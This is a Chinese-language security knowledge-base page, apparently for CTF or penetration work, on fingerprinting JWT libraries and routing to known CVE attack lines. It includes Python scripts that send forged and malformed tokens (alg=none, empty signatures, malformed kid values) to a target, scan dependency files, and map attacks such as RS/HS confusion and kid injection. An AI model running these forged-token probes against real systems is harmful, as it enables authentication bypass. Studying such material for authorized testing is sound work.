Skip to content

JWT 依赖库 CVE 与指纹路由 ​

JWT CVE 的实战入口不是“扫一遍 CVE”,而是:

text
错误文本 / 响应头 / 依赖清单 / token 行为
  → 语言与库指纹
  → 版本或实现分支假设
  → 最小 payload 变体
  → 同一业务 oracle 对比

工作流 ​

text
收集错误文本和依赖证据
  → 跑 malformed / none / no-sig / nbf / aud / kid 变体
  → 归类语言、库、版本或 key callback 分支
  → 映射到 01-06 的具体技术线
  → 用同一业务 oracle 证明身份、权限、数据或 flag 差异

输入信号 ​

信号立即动作命中样本失败样本
错误里出现 secretOrPublicKey, jwt malformed, invalid signature路由到 Node jsonwebtoken错误文本随 malformed/none/no-sig 变体变化全部被网关统一成 401
Algorithm none is not allowed, InvalidAlgorithmError路由到 PyJWT/python-josealg=none 被明确识别WAF/框架层直接拒绝 Authorization 格式
Jwts.parser, JwtException, io.jsonwebtoken路由到 Java jjwtnbf/exp/alg 错误文本不同只返回业务通用错误
go-jose, square/go-jose, jwt-go路由到 Gonone/crit/kid 解析差异可见代理层吞掉错误
package lock / requirements / pom 泄露直接抽库版本版本落入历史 CVE 区间版本新但业务代码自写 key callback
OIDC/JWKS 元数据存在判断 jku/kid/key rotation 路线kid 不存在时错误可区分kid 固定白名单

0. CVE 路由矩阵 ​

路线代表库/版本信号关键变体下一篇
alg=nonepython-jwt、python-jose、旧 jjwt、旧 php-jwt无签名、空签名、大小写 alg01-alg-none
RS/HS confusion接受 RS256 公钥,HS 分支未锁死公钥 PEM/JWK/x5c 作 HMAC secret02-algorithm-confusion
weak HMACHS256 + 人类可读 secret字典、规则、环境名派生03-weak-key-bruteforce
kid injectionkid not found、路径/SQL/命令回显traversal、SQLi、URL、空 key04-kid-injection
jku/x5uheader 中 key URL 被读取自建 JWKS、host 绕过、kid 对齐05-jku-x5u-abuse
claim parsingaud/iss/exp/nbf/typ 错误可区分缺失、数组/字符串、未来/过去06-claim-missing
key callbackNode jsonwebtoken key lookup 可控null/undefined/object/key miss本篇 3.2

1. 版本与库指纹 ​

python
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import requests

def b64(obj):
    raw = json.dumps(obj, separators=(",", ":")).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

def token(header, payload=None, sig="sig"):
    payload = payload or {"sub": "probe", "iat": 1}
    return ".".join([b64(header), b64(payload), sig])

PROBES = {
    "malformed": "abc.def.ghi",
    "none_empty_sig": token({"alg": "none", "typ": "JWT"}, sig=""),
    "none_with_sig": token({"alg": "none", "typ": "JWT"}, sig="x"),
    "hs_no_sig": token({"alg": "HS256", "typ": "JWT"}, sig=""),
    "rs_as_hs": token({"alg": "HS256", "typ": "JWT", "kid": "probe"}, sig="x"),
    "future_nbf": token({"alg": "HS256", "typ": "JWT"}, {"sub": "probe", "nbf": 4102444800}, "x"),
    "array_aud": token({"alg": "HS256", "typ": "JWT"}, {"sub": "probe", "aud": ["api", "admin"]}, "x"),
}

FINGERPRINTS = {
    "secretOrPublicKey": "node-jsonwebtoken",
    "jwt malformed": "node-jsonwebtoken",
    "invalid token": "node-jsonwebtoken/express-jwt",
    "InvalidAlgorithmError": "PyJWT",
    "Algorithm none is not allowed": "PyJWT/python-jose",
    "JWTClaimsError": "python-jose",
    "io.jsonwebtoken": "jjwt",
    "JwtException": "jjwt",
    "Token is expired": "java/php/go jwt middleware",
    "go-jose": "go-jose",
}

def hit(url, name, tok):
    r = requests.get(url, headers={"Authorization": f"Bearer {tok}"}, timeout=10)
    text = r.text[:1000]
    libs = [lib for pat, lib in FINGERPRINTS.items() if pat.lower() in text.lower()]
    return {
        "case": name,
        "status": r.status_code,
        "hash": hashlib.sha256(r.text.encode(errors="ignore")).hexdigest()[:16],
        "libs": sorted(set(libs)),
        "sample": text[:180],
    }

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    args = ap.parse_args()
    for name, tok in PROBES.items():
        print(json.dumps(hit(args.url, name, tok), ensure_ascii=False))

if __name__ == "__main__":
    main()

成功样本:不同变体产生不同错误文本,能定位库族或中间件。失败样本:所有变体同一 401、同一 body hash,说明错误被统一封装,需要换 API oracle 或读依赖文件。

2. 依赖清单抽取 ​

文件字段JWT 库关键词
package.json/package-lock.json/yarn.lock/pnpm-lock.yamldependencies/versionjsonwebtoken, express-jwt, jose, jwks-rsa
requirements.txt/poetry.lock/Pipfile.lockpackage/versionPyJWT, python-jose, authlib, jwt
pom.xml/gradle.lockfilegroup/artifact/versionio.jsonwebtoken, nimbus-jose-jwt, java-jwt
composer.lockpackage/versionfirebase/php-jwt, lcobucci/jwt
go.mod/go.summodule/versiongolang-jwt/jwt, square/go-jose, lestrrat-go/jwx
python
#!/usr/bin/env python3
import argparse
import json
import re
from pathlib import Path

PAT = re.compile(r"(?i)(jsonwebtoken|express-jwt|jwks-rsa|pyjwt|python-jose|authlib|io\.jsonwebtoken|nimbus-jose-jwt|java-jwt|firebase/php-jwt|lcobucci/jwt|golang-jwt/jwt|go-jose|lestrrat-go/jwx)[\"'=:/ @-]*([0-9][0-9A-Za-z._+-]*)?")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("files", nargs="+")
    args = ap.parse_args()
    for file in args.files:
        text = Path(file).read_text(encoding="utf-8", errors="ignore")
        for m in PAT.finditer(text):
            print(json.dumps({"file": file, "package": m.group(1), "version_hint": m.group(2) or "", "offset": m.start()}, ensure_ascii=False))

if __name__ == "__main__":
    main()

3. 重点 CVE 与实现分支 ​

3.1 none / confusion 历史类 ​

条件Payload命中样本失败样本
旧库接受 none{"alg":"none"} + 空签名改 sub/role 被接受明确 none not allowed
alg 大小写/空白处理弱NoNe, none , NONE错误位置变化或被接受全部归一化拒绝
RS/HS confusion公钥作 HS256 secretforged token 进业务算法白名单固定

这类不要在本篇重复展开,直接按矩阵转对应文件,用同一业务 oracle 收敛。

3.2 Node key callback / key miss 路线 ​

jsonwebtoken 的很多题面不是库本身裸漏洞,而是业务把 kid/tenant/iss 接到 key lookup,key miss 后进入异常分支。重点测:

变体操作命中样本失败样本
kid 不存在kid=missing错误文本出现 key callback/key value固定 kid not found
kid=null/undefinedJSON null、空字符串、数组进入不同错误 hashschema 拒绝
tenant 切换iss/aud/tenant 指向低权限租户高权限 API 接受低租户 keyissuer/audience mismatch
object pollutionheader claim 为对象/数组JS 类型错误或异常分支JSON schema 固定字符串
python
#!/usr/bin/env python3
import argparse
import base64
import json

def enc(o):
    return base64.urlsafe_b64encode(json.dumps(o, separators=(",", ":")).encode()).rstrip(b"=").decode()

def make(header, payload):
    return f"{enc(header)}.{enc(payload)}.x"

HEADERS = [
    {"alg": "HS256", "typ": "JWT", "kid": ""},
    {"alg": "HS256", "typ": "JWT", "kid": "missing"},
    {"alg": "HS256", "typ": "JWT", "kid": None},
    {"alg": "HS256", "typ": "JWT", "kid": ["missing"]},
    {"alg": "HS256", "typ": "JWT", "kid": {"toString": "missing"}},
]

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--sub", default="probe")
    args = ap.parse_args()
    for i, h in enumerate(HEADERS):
        print(json.dumps({"case": f"key_callback_{i}", "token": make(h, {"sub": args.sub, "iat": 1})}, ensure_ascii=False))

if __name__ == "__main__":
    main()

4. CVE 证据判定 ​

证据强度说明
强依赖文件给出库和版本,payload 让业务 oracle 发生身份/权限/flag 差异
中错误文本高度指向库族,payload 推进到不同 handler,但还缺版本文件
弱只有响应头框架猜测,payload 全部同一错误
冲突版本看似受影响,但业务固定算法/key/claim,CVE 路线不成立

5. Evidence ​

项记录内容
指纹输入HTTP 响应头、错误文本、依赖清单路径、OIDC/JWKS URL
版本证据package 名、版本号、lockfile 行号、容器/源码路径
payload 变体malformed、none、no-sig、future nbf、array aud、kid miss 等
oracle每个变体的 status/body_hash/error_text/handler
成功样本CVE 路由后的 token 被业务接口接受,产生身份、权限、数据或 flag 差异
失败样本版本不受影响、算法固定、key lookup 固定、claim 校验稳定拒绝
下一跳按路由矩阵转 01-06 对应文件,避免在 CVE 页重复跑全链

MCP 工具映射 ​

步骤MCP 工具说明
知识路由kb_router按库名、CVE、错误文本搜索
HTTP 指纹http_probe发送固定 token 变体并记录响应
依赖读取kb_read_file结合仓库内 CVE/依赖路线复核

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用